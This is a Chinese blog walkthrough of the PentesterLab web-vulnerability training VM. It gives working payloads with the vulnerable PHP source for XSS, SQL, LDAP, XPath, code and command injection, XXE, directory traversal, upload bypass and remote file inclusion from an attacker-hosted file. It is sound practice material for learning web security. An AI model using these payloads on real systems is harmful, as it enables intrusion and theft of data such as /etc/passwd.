很久之前就想做的靶机,一直没做,最近有空清理一下。地址在PentestLab
[TOC]
Pre
下载得到一个 iso 后直接用 vmware 装起来,ifconfig
得到 ip ,访问就可以看到主页了
Hacking
XSS
Example 1
http://172.16.71.152/xss/example1.php?name=hacker
一个典型的反射型 xss ,我们可以看到 url 中有个name
的参数,直接 x
http://172.16.71.152/xss/example1.php?name=%3Cscript%3Ealert(1);%3C/script%3E
Example 2
http://172.16.71.152/xss/example1.php?name=hacker
还是尝试用<script>alert(1);</script>
直接 x ,发现被过滤了
<div class="container">
Hello
alert(1) <footer>
<p>© PentesterLab 2013</p>
</footer>
</div> <!-- /container -->
大小写绕过
http://172.16.71.152/xss/example2.php?name=%3CScript%3Ealert(1)%3C/Script%3E
Example 3
http://172.16.71.152/xss/example3.php?name=hacker
大小写也被过滤了,双写的话竟然没有被替代<scscriptript>
,直接原样返回了,换成其他标签
http://172.16.71.152/xss/example3.php?name=%3Cbody/onload=alert(1)%3E
查看了源代码,原来是把<script>
与</script>
都替换了,把尖括号也替代了…也是自己不够仔细…确实应该想到替换包含了尖括号的问题
http://172.16.71.152/xss/example3.php?name=%3CSc%3CScript%3Eript%3Ealert(1)%3C/Sc%3C/Script%3Eript%3E
Example 4
http://172.16.71.152/xss/example4.php?name=hacker
使用<script>alert(1)</script>
,发现直接回显了error
,并没有其他的提示了,我们仍旧可以使用<body/onload=alert(1)>
源代码是
if(preg_match('/script/i',$_GET['name'])){
die('error');
}
禁止使用了script
关键字
Example 5
http://172.16.71.152/xss/example5.php?name=hacker
fuzz 发现是alert
直接就返回error
了,不用alert
,我们还有prompt
http://172.16.71.152/xss/example5.php?name=%3Cbody/onload=prompt(1)%3E
源代码是:
if(preg_match('/alert/i',$_GET['name'])){
die('error');
}
这…感觉有点无语,讲道理我还以为应该是script
与alert
一起过滤了…
Example 6
http://172.16.71.152/xss/example6.php?name=hacker
用<script>alert(1)</script>
测试,发现输入变成了
Hello
<script>
var $a= "<script>alert(1)</script>";
</script>
意思就是把输入给放在了var $a= "…"
当中,闭合双引号,注释后面即可
http://172.16.71.152/xss/example6.php?name=%22;alert(1)//
Example 7
http://172.16.71.152/xss/example7.php?name=hacker
用<script>alert(1)</script>
测试,发现输入变成了
Hello
<script>
var $a= '<script>alert(1)</script>';
</script>
依然可以闭合单引号,注释后面即可。
http://172.16.71.152/xss/example7.php?name=%27;alert(1)//
Example 8
发现这关有个输入框,提交<script>alert(1)</script>
,发现返回了实体编码
HELLO <script>alert(1)</script><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
尝试了一些特殊字符
()/'";<>`
HELLO ()/'";<>`
发现<>
被过滤了,但是输出结果又没有处于任何一个标签的属性之内,感觉没有什么攻击点,查看源代码
if(isset($_POST['name'])){
echo "HELLO ".htmlentities($_POST['name']);
}
确实用了htmlentities
,但是感觉在输出又处在内容当中,真的没什么利用的点,找了一波也没发现什么有用的利用姿势,最后看文档,才知道攻击点并不在这,而是在后面的代码中
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
问题就出现在<?php echo $_SERVER['PHP_SELF']; ?>
这里
‘PHP_SELF’
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。
我们可以看到,这里是获取执行脚本的文件名,我们可以有xss/example8.php/%3C
,返回
<form action="/xss/example8.php/<" method="POST">
说明PHP_SELF
是可控的,而且又存在在action
属性中,于是我们可以有,直接闭合form
,然后直接 x
"><script>alert(1);</script>//
Example 9
http://172.16.71.152/xss/example9.php#hacker
发现页面有
<script>
document.write(location.hash.substring(1));
</script>
一个 DOM 型的 XSS ,讲道理应该可以直接使用#<script>alert(1)</script>
来进行 xss ,但是…不知道是不是浏览器的问题,直接就给我把<>
进行 url 编码了…
File Include
Example 1
直接用
php://filter/read=convert.base64-encode/resource=intro.php
php://filter/read=convert.base64-encode/resource=example1.php
得到源码
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
<?php require_once '../footer.php'; ?>
但是官方的意思是让我们体验一下远程包含的感觉…
http://172.16.71.152/fileincl/example1.php?page=http://your_ip/zedd.txt
Zedd.txt 中的内容为
<?php
phpinfo();
得到
Example 2
比上面少个后缀
php://filter/read=convert.base64-encode/resource=intro
php://filter/read=convert.base64-encode/resource=example2
读取源代码
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
<?php require_once '../footer.php'; ?>
我们可以利用zedd.txt%00
来绕过
LDAP attacks
Example 1
着实没看懂这个 Example 是什么鬼…
In this first example, you connect to a LDAP server, using your username and password. In this instance, The LDAP server does not authenticate you, since your credentials are invalid.
However, some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the
bind
with 2 null values, you will need to completely remove this parameter from the query. If you keep something likeusername=&password=
in the URL, these values will not work, since they won’t be null; instead, they will be empty.
菜是越来越菜,整个意思就是说可以用空值绕过,就是直接访问http://172.16.71.152/ldap/example1.php
即可…
Example 2
按照 Example 1 的套路,先直接访问看看,发现返回
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED
看来是个正经的注入题了,
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ld)."'</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0]['uid'][0]));
}
}
}
}
require "../footer.php" ;
?>
折腾了挺久,这里直接看源码,我们对着分析,因为password
处是被md5
处理了,所以后面我们没办法注入,这里他执行两条以上的语句会直接报错Bad search filter
,不能像网上给的大多数 payload 一样直接执行,所以我们需要分析一下,可以在name
处闭合前面的括号,再用%00
截断后面的即可,
admin)(cn=admin))%00&password=hacker
也可以不用后面那个cn=admin
admin))%00&password=hacker
不过我看文档写的有一处 fuzz 还是比较好的:
- 首先先用
name=hacker&password=hacker
,回显正常- 接着用
name=hack*&password=hacker
,回显也正常- 尝试
name=hacker&password=hack*
,不能认证- 尝试
name=hack*&password=hack*
,不能认证从这里可以推断,
password
处可能是经过了 Hash 或者一些什么操作,我们的注入点只能在username
处
SQL Injection
Example 1
root' or 1=1%23
没啥好说的
Example 2
尝试root' or 1=1%23
,返回
ERROR NO SPACE
直接用%0a
绕
root'%0Aor%0A1=1%23
Example 3
%0a
还是返回了
ERROR NO SPACE
用%a0
绕
root%27%A0or%A01=1%23
Example 4
http://172.16.71.152/sqli/example4.php?id=2
这里参数变成了 id ,猜测是整形注入
2 or 1=1%23
Example 5
依旧可以使用2 or 1=1%23
注入
看了一下代码
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
只要开头是数字就可以绕过了
Example 6
尝试2 or 1=1%23
,返回
ERROR INTEGER REQUIRED
尝试2 or 1=1
,发现全部返回,猜测检测开头结尾是否为数字,于是我们可以使用布尔盲注
if(substr((SELECT group_concat(schema_name) from information_schema.schemata),1,1)='i',1,0) and 1
结果发现可以直接在注释后加数字就好了2 or 1=1 %23 1
,而且之前猜列数为 3 ,也猜错了…orz
还是不够细心,通过1 union select 1,2,3,4,5%23 1
,得到 5 列
1 union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23 1
information_schema,exercises
1 union SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='exercises' %23 1
users
1 union SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'%23 1
id,name,age,groupid,passwd
1 union select * from users %23 1
Example 7
查看源代码
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
我们可以用%0a
(换行)绕过纯数字匹配,4%0Aor 1=1%23
1%0a union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23
Example 8
http://172.16.71.152/sqli/example8.php?order=name
很明显的一个order
注入,尝试报错无回显,那就只能通过 bool 注入或者延时注入了,但是 fuzz 了很久,都无法绕过,最后看源代码发现用的是反引号…
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
用 sqlmap 跑了一下,发现可以用
order=name`=`name` AND SLEEP(5) AND `name`=`name
order=name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk
成功延时,仔细分析,其实是构成了以下 payload
SELECT * FROM users ORDER BY `name`=`name` AND SLEEP(5) AND `name`=`name`;
SELECT * FROM users ORDER BY `name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk`
这样就看的比较明朗了,其实就是用两个字符串先进行相等,然后还是用的是order by
后注入的方式
Example 9
比上个还要简单,直接测的是rand(true)%23
,发现排序发生变化,于是就可以用 bool 注入了,就不再重复了。
Code injection
Example 1
http://172.16.71.152/codeexec/example1.php?name=hacker
回显
Hello hacker!!!
尝试 xss
http://172.16.71.152/codeexec/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E//
成功alert
,没发现这题问题所在,讲道理这算是个 HTML 代码注入吧2333,尝试注入$a
,发现有回显
Notice: Undefined variable: a in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 Hello !!!
说明应该在eval()
函数中,猜测是eval(echo "$a!!!")
这样的方式,闭合双引号即可,
";system('whoami');echo "
Example 2
http://172.16.71.152/codeexec/example2.php?order=id
传入$id
,发现错误回显
Notice: Undefined variable: id in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Fatal error: Cannot access empty property in /var/www/codeexec/example2.php(22) : runtime-created function on line 1
这个比较头大,我们直接分析源代码
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
这里用到了create_function
的一个 trick ,可以用}
闭合create_function
,所以我们可以用
id,$b->id);}system('ls');//
Example 3
http://172.16.71.152/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer
这里我们直接看代码算了…
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
使用/e
修饰符,preg_replace
会将replacement
参数当作 PHP 代码执行,也就是$_GET['new']
所以用new=system('id');&pattern=/test/e&base=jutst test
,即可执行任意命令。
File Upload
Example 1
毫无过滤的文件上传
Example 2
使用.php3
进行后缀绕过
Directory traversal
Example 1
http://172.16.71.152/dirtrav/example1.php?file=../../../../../../../../../../etc/passwd
Example 2
http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/hacker.png
直接访问/etc/passwd
不行,用../
绕过
http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../etc/passwd
Example 3
http://172.16.71.152/dirtrav/example3.php?file=hacker
猜测结尾有附加.jpg
,用%00
截断
http://172.16.71.152/dirtrav/example3.php?file=../../../../../../../etc/passwd%00
Commands injection
Example 1
http://172.16.71.152/commandexec/example1.php?ip=127.0.0.1
加;id
执行命令
Example 2
用;
发现回显
Invalid IP address
于是用%0a
换行执行命令
Example 3
直接在后面加貌似会被先过滤跳转,放到 burp 里面加就行了
看下源代码
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
果然直接被跳转了,但是我们用 burp 还是可以直接执行的
XML attacks
Example 1
http://172.16.71.152/xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E
没什么过滤的 xxe ,删掉下载的空格换行什么的就好了,记得 urlencode
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
Example 2
http://172.16.71.152/xml/example2.php?name=hacker
看源码得到
<?php require_once("../header.php");
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>
看到源码就知道是一个 xpath 注入了,比较类似 sql 注入,用or 1=1
的方式绕过即可
users/user/name[.='hacker' or '1'='1']/parent::*/message
获取到了
Hello hackerHello admin
用admin' and '1'='1
得到 admin 的认证
Conclusion
总结以下还是有点收获的,比如create_function
那里的绕过,还有 LDAP 注入以及 XPath 注入, SQL 注入那里也有点收获,比如反引号的利用,也对order by
注入有了更好的理解。